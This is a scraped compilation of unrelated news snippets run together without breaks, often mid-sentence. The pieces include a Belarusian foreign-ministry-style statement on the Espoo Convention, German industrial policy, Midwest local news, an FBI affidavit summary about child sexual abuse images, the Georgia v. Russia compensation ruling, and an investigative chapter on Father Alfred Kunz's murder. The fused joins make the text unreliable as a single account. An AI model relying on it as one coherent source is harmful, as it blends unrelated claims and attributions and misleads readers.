We are deeply disappointed by the decision of the Geneva Meeting of the Parties to the Espoo Convention that the Belarusian side allegedly did not provide the public with sufficient information in support of the justification of the selection of the Ostrovets site for the construction of the Belarusian nuclear power plant.

The relevant Committee did not even bother to explain what information gaps the Belarusian side failed to cover. Probably because the criterion of sufficiency is not in the Convention itself, nor in the documents defining the rules for the work of the Committee on its application. At the same time, in violation of the working procedures of the Committee, Belarus was deprived of the opportunity to officially comment on unfounded claims to it.

We took into account that the anti-Belarusian decision of the Meeting was taken on the initiative of the delegation of the European Union in favor of Lithuania. It is obvious that the result of the vote was predetermined by the bloc discipline of the EU countries, which constitute the majority of the members of the Convention.

Following the will of the official Vilnius, the EU did not notice that for almost eight years the Government of Belarus actively cooperated with the Committee on the implementation of the provisions of the Espoo Convention in the framework of the Lithuanian complaint.

Acting in good faith, we repeatedly initiated a dialogue on this topic with Lithuania, which under any pretext avoided constructive interaction. On the contrary, the issue of opposition to the Belarusian NPP project has become an obsessive idea in the Lithuanian political environment.

Having destroyed their own nuclear power industry and abandoned the Belarusian proposals to build NPP jointly, Lithuanian politicians obviously have no choice but to try to shift the burden of responsibility to voters from a sore head to a healthy one.

The decision adopted at the Meeting of the Parties to the Convention has no links whatsoever with the security of the Belarusian NPP. This issue is beyond the Conventions mandate. Linking these questions, the Lithuanian side deliberately misleads everyone.

The example of the manipulation of the Espoo Convention is a clear and disturbing evidence of the degradation of a universal system of the international law. We urge the international community to counter this practice in a consistent manner.

In conclusion, we emphasize that the development of a peaceful nuclear programme is a sovereign right of an independent state.

We will draw conclusions from the actions of the parties to the Espoo Convention and will consider them when forming our relations in the future.



   

print versionSanta Maria Police officers and support staff recognized during the event  which was sponsored by the Santa Maria Valley Chamber of Commerce and held at the Radisson Hotel  were nominated for the awards by their colleagues and the employee recognition committee reviewed the nominations, Police Chief Phil Hansen said. The awards honored exceptional police work and public service during the 2018 calendar year.

021219 Police Awards 05.jpg 021219 Police Awards 01.jpg 021219 Police Awards 02.jpg 021219 Police Awards 03.jpg 021219 Police Awards 04.jpg 021219 Police Awards 06.jpg 021219 Police Awards 07.jpg 021219 Police Awards 08.jpg 021219 Police Awards 09.jpg 021219 Police Awards 10.jpg 021219 Police Awards 11.jpg 021219 Police Awards 12.jpg 021219 Police Awards 13.jpg 021219 Police Awards 14.jpgChinese President Xi Jinping hatched "Made in China 2025, it didnt go down well with many world leader, especially in Western economies. And now Germany has proposed an equally abrasive push.

Germanys economic affairs minister, Peter Altmaier, has launched an ambitious and somewhat controversial industrial strategy that seeks to cement the countrys technological leadership while protecting sensitive companies and industries in what has been seen in some quarters as reeking of protectionism.

Dubbed National Industrial Strategy 2030, the plan will act as the countrys roadmap to securing or regaining economic industrial leadership, technological competence and overall competitiveness at the national, European and global level. The initiative calls for boosting industrial output to 25 percent of overall economy from 23.2 percent currently and emphasizes the need to shore up national champions and strengthen key technological sectors including automotive, space, aerospace, raw materials, medical equipment and weapons.

Altmaier has noted that the country trails the U.S., China and Asia in key technological sectors. His rallying call to create European Champions through mega-mergers came just a day after European regulators blocked a proposed merger by Germany's Siemens and France's Alstom to fend off the threat by China's state-owned rail giant, CRCC. Related: Greed Is Ruling The Markets Once Again

But its his proposed style of regaining technological leadership that has some observers worried.

Economic politburo

According to Altmaier, the success of specific firms such as BMW, Daimler, Volkswagen, BASF, Siemens, Deutsche Bank and Thyssenkrupp is in the nations interest--and he wants to protect them from hostile takeovers.

He has proposed setting up a major battery cell factory in Europe to counter the threat by EVs. His concerns are understandable. The countrys business and political leadership were stunned by the 2016 purchase of leading German robotics firm Kuka by a Chinese company and are absolutely paranoid about losing their global leadership in cars.

But its his proposal to create a state investment fund to block takeovers of critical tech companies that has observers worried that the country is taking a step in the wrong direction.

As Financial Times Guy Chazan has noted, the formation of such a body would essentially go against the principles of a free-market economy that Germany has espoused until now.

Altmaiers bold strategy has come under fire from his own countrymen, too. Lars Feld, a leading German economist, has said that it would be wrong to give some companies virtual guarantees of existence while Wolfgang Steiger, head of the business wing of Altmaiers conservatives has said that going ahead with the plan would mean that Altmaier is essentially setting himself up as the countrys economic politburo.

Related: Return Of The Government Shutdown May Be Inevitable

Meanwhile, competition expert Justus Haucap has warned that efforts to facilitate mega-mergers is completely wrong, defies economic evidence and would ultimately prove very damaging to the economy. He has duly noted that history had clearly shown that mega-mergers are bad for a free-market economy because they tend to stifle innovation and drive prices up. Its worth noting that regulators cited the risk of creating a near-monopoly as the key reason for scuttling the Siemens-Alstom deal.

Head of German Chambers of Commerce Erc Schweitzer has welcomed efforts to strengthen German industries but remains skeptical of any moves by the government to shape companies investments.

Industrial policy

The strategy, though, features some sound action points.

For instance, the government is looking to quickly implement long overdue economic and industrial policies including new tax incentives for research and nationwide development of 5th generation cellular networks. The plan also seeks to explore ways to lower the countrys high energy costs to make its chemical plants more competitive and also carry out a review of climate and environmental protection plans to harmonize them and make them more efficient.

Germany is facing tough times with the European Commission recently issuing a dim outlook for the countrys growth prospects. The countrys iconic automobile industry has come under pressure due to stricter emission standards and its feared it might take several years to fully recover.

By Alex Kimani for Safehaven.com

More Top Reads From Safehaven.com:The PAARP board is currently housed in the Department of Labor and Industry, which does not have expertise in mental health, child safety or adolescent education.

A spokesman for DPHHS did not immediately have comment on the draft.

A majority of the PAARP board  three of its five members  is made up of people who run Montana's 16 licensed programs for troubled kids. By legislative design, complaints made against programs are sealed until substantiated, and not one has been made public.

Aside from costly litigation in pursuing a program that falsely claimed a religious exemption, which would have allowed it to avoid any state regulation, no program has been disciplined or seen its license revoked. Eleven stipulations have been signed after the board looked into complaints, but those are not readily available to the public.

John Santa, chair of the PAARP board and a founder of Montana Academy, the states largest program, was not available for comment Tuesday. He did, however, tell the Missoulian last week that he would endorse a move to add another public member to the board, giving the public an equal number of members.

But he underscored his concern about changes that would abolish the board altogether.Recalling former Vietnam medic

I just came across an article from 2016 by Mike Anderson, "Veterans Remember Vietnam War." I was a medic alongside Doc Noheart in the 101st Airborne. Hope Andrew continues to do well ... his warm heart is one of my fondest memories from those days. I'm at least one friend who is still very much alive, and wish I'd seen this article when it first came out. If you're still there, Andrew, hello from Doc Child.

Don Child

Honolulu

No good to hold onto hate

I had a letter from a town north of here complaining about my most recent letter about Hillary Clinton and Bernie Sanders. I didn't read the whole complaint as it started out with an insult. In my letter I complimented Hillary Clinton and Bernie Sanders for American things they had said. And I stand by that.A national film tour that features a fly fishing film from the Black Hills is going to be shown tonight at the Elks Theatre in downtown Rapid City.

The 2019 Fly Fishing Film Tour features Hank Pattersons Around the World Globe, which focuses on local residents fishing for trout.

Other featured locations in the film series include Australia, British Columbia, Alaska, Florida and French Polynesia.

Travis Swartz, also known as Hank Patterson, came to South Dakota last year to shoot the film with more than a little trepidation.

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I will readily admit that leading up to the trip to go to South Dakota, I was like I do not want to go to South Dakota, it just sounded miserable, he told the Journal in September. Then, I went to South Dakota and got to Rapid City and the guys started to show me around, and I loved Rapid City. I thought it was a super cool town.  I was really impressed with the people and the place.

Swartz also said he was impressed by the quality of fishing here.Black Hills Energy plans to begin construction this summer on a $6.5 million electrical substation and a $1.5 million transmission line in northwestern Rapid City, a company official said Tuesday.

Marc Eyre, director of operations for Black Hills Energy, presented information about the project to the citys Public Works Committee during a meeting at the City/School Administration Center.

Eyre said the project will improve electrical capacity and reliability in the city. No interruptions of electrical service are anticipated during construction.

Support Local Journalism Your membership makes our reporting possible. {{featured_button_text}}

The new substation will be on a 3-acre site behind the companys Operations Service Center at 409 Deadwood Ave., where there was a coal pile. Electricity brought to the substation by a 230-kilovolt transmission line will be reduced in voltage for delivery to distribution substations  including an existing one behind the Operations Service Center. Distribution substations reduce the voltage further for distribution to homes and businesses.The Nebraska Association of School Boards won the confidence of the Chadron School Board Monday to lead its search for its next superintendent.

The board voted unanimously to hire the NASB after a brief discussion about the merits of it and Nebraska Rural Community Schools Association. Both organizations, along with private search firm McPherson and Jacobson, presented proposals to the district in January. The NASB and NRCSA were the favorites ahead of the vote.

The NASB led the districts last superintendent search, which resulted in the hiring of Dr. Caroline Winchester, who will retire in 2020. That experience played a significant role in earning the endorsement of Sandy Roes, who is the only board member who was involved in that search.

The NASB conducts an online application process that goes beyond a cover letter and resume; it includes transcripts, references, character forms and several questions candidates must answer based on the districts needs. NASB consultants will meet with the board three times, including once to develop a needs assessment and create a leadership profile. Interview questions will be developed to align with that leadership profile, and a unique interview process will be determined. That can include having candidates do a presentation on a specific topic.Sen. Steve Erdman of Bayard on Thursday urged the Legislature's Revenue Committee to give voters an opportunity to mandate a $1.3 billion reduction in property taxes.

Erdman's proposal (LR3CA) would allow Nebraskans to vote on a constitutional amendment providing for a refundable state income tax credit equal to 35 percent of a property owner's local property tax bill.

The property tax is "the most hated tax in the world," Erdman told the committee, and approval of his proposal would "make a million or so people happy" in Nebraska.

The Erdman plan is perhaps the most dramatic option that the Legislature has on its plate as senators tackle the vexing issue of property taxes as the major item on a full menu of proposed tax reform.

"We've been talking about this for a minimum of 40 years," Erdman said, "and we nibble at it," now with periodic increases in the state's property tax credit fund.

"Whether you're 18 or 80, whether you live in Omaha or Scottsbluff, property tax is the No. 1 problem," he said. "And it's time we give the people an opportunity to speak."Its important for the library to stay up-to-date with current technology, Tesch said. One of the librarys 3D printers is only five years old but is already considered a dinosaur in relation to todays technology. The second 3D printer is quieter, can print two filaments simultaneously and create larger objects than the first, Spicher said. At about a year old it can also handle exotic filaments, such as a plastic mixed with wood fiber that can be sanded down and stained. The U.S. Forest Service worked with the library to create replicas of fossils in copper, stainless steel and rustable iron, which provides weight in a realistic replica students can handle. One patron even made wall spacers, Spicher said.

It really is for practical purposes, he said.

Patrons can design their project at home with the Flash Forge software and bring it to the library for printing on an SD card.

Its important to expose the kids to this type of technology, Tesch said. Eventually this is going to be our lifestyle.

Exposure to the makerspaces that will arrive in July could even inspire ideas for new businesses, which will be key in rural areas like Chadron in the future, she continued.

Nebraskas public libraries are the natural gathering points for people to come together to share materials, knowledge, and experiences, said Nebraska Library Commission Director Rod Wagner in a press release. Whether materials and tools are high tech or low tech, digital or analog, art or science, the focus is to create, invent, tinker, explore and discover using the tools, materials and knowledge available. Libraries have always been dedicated to community partnership, collaboration and the free exchange of ideas  makerspaces are the next step in that progression.

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Click any reaction to login. Love 0 Funny 0 Wow 0 Sad 0 Angry 0With all respect, the minimum wage legislation is not the first or last attack on Illinois businesses of the Quad Cities. Sales tax, property taxes, gas tax, school taxes have been for decades greater than in Iowa.

Just last night I joined three others for dinner out in Iowa and the dining tax in Iowa for our night was 30 percent less than would have been charged at an Illinois restaurant. We filled up with gas on our trip back to Illinois and paid no sales tax and no city gas tax on our fuel purchase in Iowa.The Iowa Democratic Party took an important step Monday toward modernizing the Iowa Caucuses with what party leaders say are the most significant changes in nearly 50 years.

The change that got the biggest headline was the party's new proposal to hold a half dozen virtual caucuses next year, which will give people who cant attend the regular caucuses at 7 p.m. on Feb. 3, 2020, a chance to take part.

This proposal to allow attendance using a phone or mobile device answers some of the criticism that the caucuses shut out people who work second shift or otherwise cant make it to the regular event.

We dont expect it will quiet the caucuses most fiery critics, though. This still isn't a primary (by design), which allows people a larger window of time to vote. And there is no guarantee the votes of the people who caucus "virtually" will be worth as much as those who show up on Feb. 3. The new proposal allocates only 10 percent of delegates to virtual caucuses.

For those who dont like the arcane caucus rules that already dont strictly follow the one-person-one-vote principle, this will probably be a point of criticism. But we think it is a credible attempt at including people who cant show up in person.No one from the preservation society spoke at the meeting, with most of the people in attendance being city staff and media.

During public comments, Jim Uribe, who spoke on behalf of the Rock Island County Tax Reduction Coalition, told the council that he was encouraged by Parker's earlier statement that the city did not intend to pay for the redevelopment of the courthouse.

"However, we feel that a potential investor may ask for millions of dollars in taxpayer funds to make the required renovations to the old courthouse," Uribe said. "The potential investors in this property should bear the total cost of renovation, reap the profits, pay their fair share in taxes, and not expect a taxpayer handout for this private venture."

After the meeting, Parker said he has no idea if or how the county will respond to the city's offer. He said he hoped the courthouse could generate some taxes for the city but reiterated that the resolution was not an intergovernmental agreement.

"We have had to raise taxes the last two years," Parker said. "It would be nice to not have to do that again."

In other business:

Council members voted 4-0 to approve the designation of two passenger loading zones in the District.A good Wednesday to all. The impact of this brutal winter is still being felt this morning. Here are the weather details from the National Weather Service.

1. Winds whip up wind chills

Today will be mostly sunny and breezy with a high near 28 degrees and wind-chill values as low as -5 degrees. Winds could gust as high as 20 mph.

Tonight will be mostly cloudy with a temperature rising to around 35 degrees by 4 a.m.

Thursday brings a slight chance of rain showers after noon mixing with snow after 5 p.m. Skies will be mostly cloudy with a high near 39 degrees. Winds could gust as high as 20 mph. The chance of precipitation is 20 percent.

Thursday night will be mostly cloudy and blustery with a low around 8 degrees and wind-chill values as low as -5 degrees. Northwest winds could gust as high as 30 mph.

+4 Weather by the numbers: Now is the winter of our discontent The groundhog may have predicted a quick end to winter, but the forecast suggests it may linger.

2. No power leaves many of us out in the coldWhen Karrie Higgins thought she smelled something hot, she didnt expect to see flames coming out of her bedroom walk-in closet.

Higgins, her husband and daughter, of Davenport, are reeling from the Monday afternoon fire that left them with virtually nothing.

It was horrible, she said, fighting tears. I dont know what Im going to do.

Her daughter, Samantha, 12, came home sick from school and was lying on the couch while Higgins watched The Dr. Phil Show.

Her friends and family have long teased Higgins about her phrase, she "smells something hot." This time, it was all too real: She walked into the kitchen And I saw flames all the way to the ceiling.

I screamed, she said. She had her phone, but somewhere along the way lost track of it. Soon, she said firefighters were on the scene.

It was so crazy in there, she said.

Firefighters found the phone because it was beeping with social media alerts from people who saw Quad-City Times video of the fire and were checking to see if she was safe. It was wet and blackened with soot.Interstate 74 south of the Big X is nearly impassable due to drifting and blowing snow, said Illinois State Police Lt. Dyan Talbot of District 7, East Moline.

The Big X is at the intersection of interstates 74 and 280 with Interstate 80 south of Colona.

Talbot said the wind and snow is making the interstate extremely slick and has reduced visibility in some places to virtually zero.

The wind gusts are strong enough to cause vehicles to lose control and leave the roadway, she said.

"These conditions are occurring on all north-south roads," Talbot said.

Drivers are being asked to find alternate routes of travel and travel with caution by decreasing speed, increasing distances between vehicles and to drive with headlights on.

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Get local news delivered to your inbox! Subscribe to our Daily Headlines newsletter. Sign up! * I understand and agree that registration on or use of this site constitutes agreement to its user agreement and privacy policy.The bill was moved out of a Senate subcommittee Monday and passed up to the Senate Judiciary Committee.

Republican Gov. Kim Reynolds told reporters Tuesday that she still supports the 2010 shall issue bill, which she voted for while she was in the Senate. That bill standardized how gun permits are issued and included background checks and required weapons training.

I think that was a good piece of legislation, she said. I think that was the right thing to do. Well wait and see how the legislation proceeds here in the Legislature.

She added that she is keeping an open mind and that well see what kind of traction it has and where it goes.

Lane said the sheriffs department has issued thousands of permits over the years. On average, they revoke one to two permits a month, he said.

Bettendorf Police Chief Keith Kimball said he has not yet read the proposed bill but said in general that the current Iowa law in regards to permits to purchase and permits to carry being administered by the sheriffs (office) at the county level has worked well.

I am also in favor that some type of background check should be conducted and be required by law when purchasing a firearm, he said.UPDATE:

Davenport police said that Steven Bradford has been located and is safe.

EARLIER:

Davenport police are seeking the communitys assistance in locating a missing Davenport man.

Steven Bradford, 62, who has been reported as a missing person, is described as being 5-feet, 9-inches tall, weighing 248 pounds with black hair and brown eyes.

Bradford was last seen wearing a black jogging suit with a black winter jacket in the area of 1000 W. Locust Street on or around Jan. 22.

Anyone with information about Steven Bradfords whereabouts are asked to call 9-1-1.

Quad-City Times

Love 1 Funny 0 Wow 0 Sad 0 Angry 0Videos and images from the CyberTipline were sent to the FBI for review. Agents saw more than 1,000 images of child pornography that depicted children, boys and girls, engaged in sexual acts with other children and with adults, according to the affidavit.

The FBI also reviewed about 100 videos provided from the CyberTipline which showed children from 3-months-old to about 13-years-old engaged in various forms of sexual activity, including acts with other children and with adults, as well as videos involving bestiality, according to the affidavit.

Agents searched Martins home in Wilton Monday. He lives with his elderly mother and 10-year-old niece, whom he supports.

According to the affidavit, Martin provided agents with the pass codes to all of his electronic devices.

A preview of each electronic device by FBI examiners determined there were large amounts of child pornography. Specifically, a cell phone owned by Martin contained more than 1,000 images of child pornography, which included images of children under the age of 12, with the youngest being an infant. The children were all engaged in various sex acts.Wittenmyer, first president of the Womens Christian Temperance Union, was a social activist, lecturer, and writer.

For her efforts to aid soldiers during the Civil War, President Ulysses S. Grant said of her, "No soldier on the firing line gave more heroic service than she did. Though plagued by personal tragedies and illness, Wittenmyer remained a woman of action. Where she saw a problem, she created a solution.

-- Ola Finch (1909-2009):

Finch was from Aledo and is known for creating The Doll Hospital School there in 1954.

She later sold the school to a California company, and it became Lifetime Career Schools, Inc. She got the idea for a doll hospital course from her love of doll collecting and costuming. Due in part to her enthusiasm and efforts, one of the first shows dedicated to doll collecting was held in Aledo in the early '70s in the VFW hall.

-- Bonnie Bartlett (b. 1929):

Bartlett grew up in Moline and graduated from Moline High School. She is an Emmy-winning actress who gained fame as Ellen Craig in "St. Elsewhere" and as Grace Snider in "Little House on the Prairie."It was a dazzling display of lightning early this morning from Ma Nature as the Quad-City region received some much needed rain that will helpGYLA: Russia Should Pay 10 million EURO compensation to Georgia within three months

On 31 January, the Grand Chamber of the European Court of Human Rights has announced the judgment into the inter-state case "Georgia v. Russia" (i) pursuant to which the Russian Federation has been imposed the payment of 10,000,000 Euros to Georgian citizens.The European Court delivered a decision into the given case back on 3 July 2014, when it was established that in 2006 the Russian Federation had implemented a coordinated policy of mass arrest, detention and expulsion of Georgian citizens, which had amounted to an administrative practice. Consequently, the Court held that there had been a violation of Article 3 of the Convention (Prohibition of Torture), Article 5 (Right to Liberty and Security), Article 4 of Protocol No. 4 (Prohibition of Collective Expulsion of Aliens) and Article 13 (Right to an Effective Remedy).However, when the above decision was rendered in 2014, the European Court reserved the compensation for the future and gave the parties a one-year term for negotiations. The negotiations between the parties failed, and the Court resumed reviewing the issue of payment of the compensation by Russia.Pursuant to the decision of 31 January 2019, the European Court of Justice deliberated the issue of granting the compensation to Georgian citizens deported from Russia and imposed the payment of 10 million Euros on the Russian Federation in favour to Georgian citizens. According to the Court, EUR 2,000 from the compensation should be granted to those who had been victims of collective expulsion and EUR 10,000 to EUR 15,000 shall be allocated to those who had also been victims of inhuman and degrading treatment during the detention process in parallel with the collective expulsion. The Court held that in determining the amount of the compensation for moral damage suffered by the latter group of citizens, Georgia should take into account the length of respective periods of detention.The Court explained that the amount shall be paid to at least 1500 deportees. Although the Georgian government presented to the European Court a list and detailed data of 1795 identified victims, the Court held in relation to 290 persons the view that the compensation shall not be granted to them for the following reasons: victims had already received compensations under individual complaints, they had appealed to the Court with individual complaints regarding the same matter or persons were deported during another period, which had no connection with the above case, etc.The Russian Federation shall pay the mentioned compensation to Georgia within three months. In turn, Georgia shall set up an effective mechanism under the supervision of the Committee of Ministers of the Council of Europe, within which the rule of distribution of the compensation shall be elaborated. The development of the mechanism and granting the compensation to the victims shall take place during 18 months.About Me Scott Because prophetic scriptures are found throughout the bible, it is obvious that a comprehensive, systematic approach would be useful, if not necessary, for the understanding of prophecy. Past prophecies have been fulfilled in a literal manner, as confirmed by the dating of these writings and historical records of confirmation. These past prophecies also serve as a model of how to interpret future prophecies. A literal view of prophecy clearly indicates a certain sequence of events will occur within a single generation, concluding with the Tribulation and Second Advent and these events will be obvious. The prophetic signs appear to be present in this generation and we believe these signs are revealed in the news from around the world. View my complete profileFather Alfred Kunz preached that although Jesus died for all mankind, people had to actively accept the Saviors gift. They had to work for it, living their faith through their thoughts and actions.

Kunzs interpretation of Gods law was far stricter than that of most Catholics.

He preached on his radio show that Jesus crucifixion had the power to raise you up only if you made it to church every Sunday. And respected your parents. And believed everything Jesus  speaking through Kunz and other enlightened church leaders  had to say. And refused to vote for political candidates who even tacitly approved of abortion by remaining silent on the issue. And didnt even think about impure sexual acts.

To Kunzs mind, a proper understanding of the Ten Commandments revealed all these rules  and more  as Gods law. Failure to follow that law, or to repent if you broke it, could result in a terrible punishment: The fires of hell.

God held priests to even higher standards, Kunz believed. Their sins could result in condemnation not only for themselves, but also for the members of their parishes.

For example, the co-host of Kunzs radio show, Peter Kelly, once told him about a priest he saw throw a communion wafer in the garbage after someone accidentally dropped it on the ground.

Because the bread had already been consecrated during Mass, Catholic belief holds it had been physically transformed into the body of Christ and therefore should be treated with honor and respect. Throwing it away was tantamount to trashing a piece of God.

Kelly was apoplectic.

Yet Kunz remained calm as Kelly described the incident.

Kunz knew the priest in question and doubted he was capable of the proper intent to transform communion wafers into Jesus body in the first place. So what hed thrown away was still only a piece of bread.

That didnt mean the action was harmless, Kunz went on to explain.

In his view, the priests failure meant the people who attended his church were at risk.

They were being led to believe theyd obtained spiritual benefits by receiving Christs body and blood when in fact, they had not.

That left them vulnerable to Satan.

Even when Kunz talked to schoolchildren, he was matter-of-fact about the risks to their immortal souls. Without the threat of hell, the reward of heaven had no meaning, he once said on the radio show. If kindergarteners didnt understand that, they would have no reason to spend their Sunday mornings in church instead of at the beach.

Several years into his tenure, when the group of nuns who ran St. Michael School expressed disagreement with some of his directives, Kunz did not invite discussion.

When they refused to defer to his authority, he unceremoniously removed them, saying: Let me know when your bags are packed.

Upon the departure of the nuns, Kunz chose parishioner Maureen OLeary to take over the school.

Before becoming principal, OLeary worked at a Christian bookstore. She lived with her elderly mother 80 miles from Dane in Necedah, the site of a shrine where a farm wife claimed to have been visited by the Virgin Mary in the late 1940s and early 50s.

After Kunz hired OLeary, he set her up in an apartment in Sauk City, in the same building as the seventh- and eighth-grade teacher, Brian Jackson. The three of them sometimes went out for breakfast together.

The close relationship between OLeary and Kunz fueled speculation that they were more than friends.

Police never found any evidence of an intimate relationship between the two, and OLeary said there wasnt one.

When investigators questioned her about other aspects of Kunzs life and the circumstances surrounding his death, she was less than forthcoming, police said.

Youll never solve it, OLeary told the cops early in the investigation. You should just let it go.

The detectives wondered: Did she know more than she was saying? Was she reluctant to share speculation for fear of bearing false witness? Or was she trying to protect the church by withholding evidence that the killer was a priest?

Last summer, OLeary told the Catholic World Report news site she was not motivated by any of those things. Rather, after meeting with detectives several times to answer their questions, she became frustrated when they started to besmirch Kunzs character by suggesting hed broken his vow of chastity.

She confirmed she had discouraged the cops from working on the case.

I did make that statement, she said. Not to obstruct justice, but to stop the scandal.

Stephen Brady, the founder of Roman Catholic Faithful, worked with Father Alfred Kunz to investigate sexual misconduct by priests.

Under church law, bishops are responsible for assigning priests to parishes, where they are to stay indefinitely.

In the United States, many bishops take advantage of a 1984 update to the law, which gives them the option of setting priests terms at six years. Priests often work their way from associate to pastor and from smaller churches to larger ones. Those called to greater leadership may go on to become bishops themselves.

Kunz served at St. Michael for 31 years. Had he lived, he likely would have stayed there.

Madison Bishop William Bullock, who served from 1993 to 2003, reportedly told him flat out: Youre never leaving Dane.

Kunzs defiance in continuing to routinely say Latin Masses after Vatican II was one reason.

His extreme view of morality, as he preached on the radio, was another. To his mind, sending your children to public school could be a ticket to hell, as was even thinking about the type of stuff they showed in R-rated movies.

Kunz disbanded the St. Michael parish council, which had been elected by church members to advise him on how to manage and operate the church.

Put off by him, some Catholics who lived near St. Michael chose to attend Mass elsewhere.

Kunz was also known to alienate other priests. His closest friend and confessor, Father Charles Fiore, told several people he and Kunz were compiling a list of priests involved in sexual misconduct  even though they hadnt been authorized by the hierarchy to do so. Had such a list become public, it could have exposed what was then still a closely-held secret among church leaders.

One of them, who called himself Father Ryan St. Anne Scott, described Kunz as an exceptional friend, personal confessor, mentor and brother in Christ.

Scott told police Kunz had been assassinated by unscrupulous church leaders who had promoted the modernization of Catholicism even though they knew it was leading people astray.

"He knew too much. He had resourceful contacts, Scott later said of Kunz. He was about to expose the multifaceted corruption that has invaded the  church today! In my opinion, there would have been no other reason."

As investigators looked into Scotts background, they developed serious doubts about his credibility.

Five years before the murder, Scott was convicted of felony misconduct in public office for altering a check while serving as finance director for the city of Edgerton. Back then, he was still using his given name, Randall Dean Stocks.

After that brush with the law, Scott turned to religious life, but questions arose about whether he was really a priest.

In 1997, the Bishop of La Crosse, Raymond Burke, had written a letter warning the faithful that Scott had not been ordained, that his Holy Rosary Abbey near Viroqua was not a Catholic institution and that any sacraments he presided over were not valid.

Scott had also claimed that as a young man in the 1970s, he had been gang-raped by priests in the rectory of Milwaukees Cathedral of St. John the Evangelist. Church leaders and police had both investigated but found no truth to the story.

Twenty years later, Scott continued to insist it happened. He told police he had provided Kunz with details to prove the crime. At the time of the murder, he said, Kunz was on the verge of making the information public.

Kunzs investigations into misconduct by priests extended across the state line, according to Stephen Brady, a small-town Catholic activist from Illinois.

The police working on Kunzs case questioned Brady  whose phone records proved he was in Illinois the night Kunz was murdered  for four hours.

They also asked for his files.

Brady told them Kunz had provided an invaluable service to his grassroots organization, known as Roman Catholic Faithful.

Kunz got involved with Bradys group in the late 1990s, when it got a tip about the bishop of Springfield, Ill.

A woman who worked the streets said shed seen the bishop, Daniel Ryan, picking up male prostitutes. She provided Brady with names and dates. From the young men themselves, Brady says, he got the details.

The State Journal-Register Father Alfred Kunz investigated allegations of misconduct against Daniel Ryan, former bishop of of the Catholic Diocese of Springfield.

The State Journal-Register Father Alfred Kunz investigated allegations of misconduct against Daniel Ryan, former bishop of of the Catholic Diocese of Springfield.

Early on, though, Bradys attempts to get church leaders to intervene went nowhere. He needed someone on the inside who could help him build the case and tell him who to trust.

A mutual acquaintance recommended Kunz.

Kunz knew people, the man told Brady. He had channels open to leaders in the Vatican who supported their cause, and he knew which Catholic higher-ups could be trusted. When Brady wanted to pass information up the churchs chain of command to sympathetic bishops, Kunz vouched for him.

The first accusations against Ryan became public in 1997.

The efforts of Kunz and Brady to expose Ryan's misconduct would not be vindicated until 2006, when an archdiocesan report concluded he had engaged in sexual relationships with several men, including male prostitutes, deacons and other priests.

In the meantime, Brady got death threats.

Mora Smith, a St. Michael parishioner who claimed to have the gift of la presciencia, a sixth sense, told investigators Kunz once asked if shed had premonitions about him.

Associated Press Bishop Richard Williamson of the Society of St. Pius X told police he believed someone put out a hit on Father Alfred Kunz.

Associated Press Bishop Richard Williamson of the Society of St. Pius X told police he believed someone put out a hit on Father Alfred Kunz.

When she asked why, Kunz showed her a letter embossed with the gold seal of the Vatican, she said. It contained a veiled threat, giving Kunz a final warning that hed better end his investigations into pedophile priests and keep his mouth shut.

Police investigating his murder never found such a letter.

Bishop Richard Williamson  who was affiliated with the Society of St. Pius X, a splinter group of priests who, like Kunz, rejected the reforms of Vatican II  told police he wouldnt be surprised if someone inside the church had put a price on Kunzs head.

Detective Wayne Honer questioned the bishop early in the investigation, while the manner of death was still being kept confidential among investigators.

I know things, Williamson said. I know things that could lead to 

Then he made a slashing motion across his own throat.

View key locations

Click on a point to learn more about key locations in this chapter

How we reported this story

In reporting this story, Milwaukee Journal Sentinel reporter Gina Barton conducted dozens of interviews with those involved in the case. She attended the 20th anniversary Requiem Mass for Father Alfred Kunz and visited the Queen of the Holy Rosary Mediatrix of Peace shrine in Necedah, Wis.

The Dane County Sheriffs Department declined to release its case file to the Journal Sentinel, citing an exemption to the states public records law for open cases. Barton reviewed 50 pages of department reports that had been released to the Journal Sentinel in 1998 and remained on file in the newsroom. Those reports document the initial police response to the 911 call and several interrogations of Brian Jackson and people who knew him.

Barton read court records, archival records detailing events at the shrine and portions of Malachi Martins book on exorcism, Hostage to the Devil. She also reviewed dozens of print and television news reports about the Kunz homicide and investigation.

In addition, Barton listened to seven and a half hours of the Our Catholic Family and Our Apostolic Church radio programs. Recordings of the programs were provided to the news organization by Peter Kelly, who produced them. Descriptions of Kunzs feelings, beliefs, experiences and teachings were taken from statements he made on the show in 1997 and early 1998. Father Charles Fiore also spoke on some of the recordings.

Details and quotes in scenes were obtained through interviews with those present or from police reports, court records, transcripts, archived news reports, video recordings or audio recordings.

Brian Jackson spoke briefly in person to Journal Sentinel reporter Ashley Luthern. He said he is innocent and believes the investigation was waylaid by the fact detectives spent so much time on him. He declined a detailed interview, saying his lawyer had advised against it. Jacksons thoughts, feelings and interactions with Kunz, as conveyed in the story, come from police reports in which he described them to detectives.

In all other instances in which peoples thoughts are described, they conveyed those thoughts to a reporter.

Throughout the series, quotation marks indicate a subjects exact words as written in a transcript, as recalled by a party to the conversation or as stated to a reporter, either now or at the time of the incident. Italics indicate statements recalled or summarized by a third party in an interview, a news story or an investigative document, such as a police report.

People who provided information for this chapter include Peter Kelly, Mora Smith, Stephen Brady, Catholic commentator Matt Abbott, retired detective Dawn Johnson, retired detective Wayne Honer, Lt. Kerry Porter and Sheriff David Mahoney. Maureen OLeary did not respond to phone messages, knocks on her door or a letter. Her comments about what she said to police came from an interview with Joseph M. Hanneman of The Catholic World Report and were published in August. Ryan St. Anne Scott, whose given name was Randall Dean Stocks, sent Barton several emails but declined to be interviewed unless his comments appeared unedited. The news organization did not agree to that condition. Details about Scotts friendship with Kunz came from his emails to Barton. His comments about Kunzs death came from emails he wrote to Abbott.

Anyone with information about the murder of Father Alfred Kunz is asked to call the Dane County Sheriff's Department tip line at 608-284-6900.Last week, Taliban officials met with senior Afghan politicians - none of them members of the government in Kabul - in Moscow. It marked the second time in recent weeks that the insurgents held meetings in Russia.

What is the significance of these Russia-based talks, and what implications do they have for the separate U.S.-led dialogue with the Taliban, which is expected to resume later this month? Do the Russia talks help or hinder the U.S.-led track? And what, ultimately, are Moscows motivations for talks with the Taliban?

Joining the debate in the latest edition of the AfPak File, a joint podcast series of RFE/RL and the Wilson Center, were Frud Bezhan, a journalist with RFE/RL; Petr Topychkanov, senior researcher at SIPRI; and Michael Kugelman, senior associate for South Asia at the Wilson Center. Muhammad Tahir of RFE/RL's media manager for South and Central Asia moderated the discussion.

The views expressed in this podcast do not necessarily reflect the views of RFE/RL.

The AfPak File is a joint podcast of RFE/RL and The Wilson Center bringing audiences analysis on Afghanistan and Pakistan.1+ days ago

| June 22nd, 6:10 AM

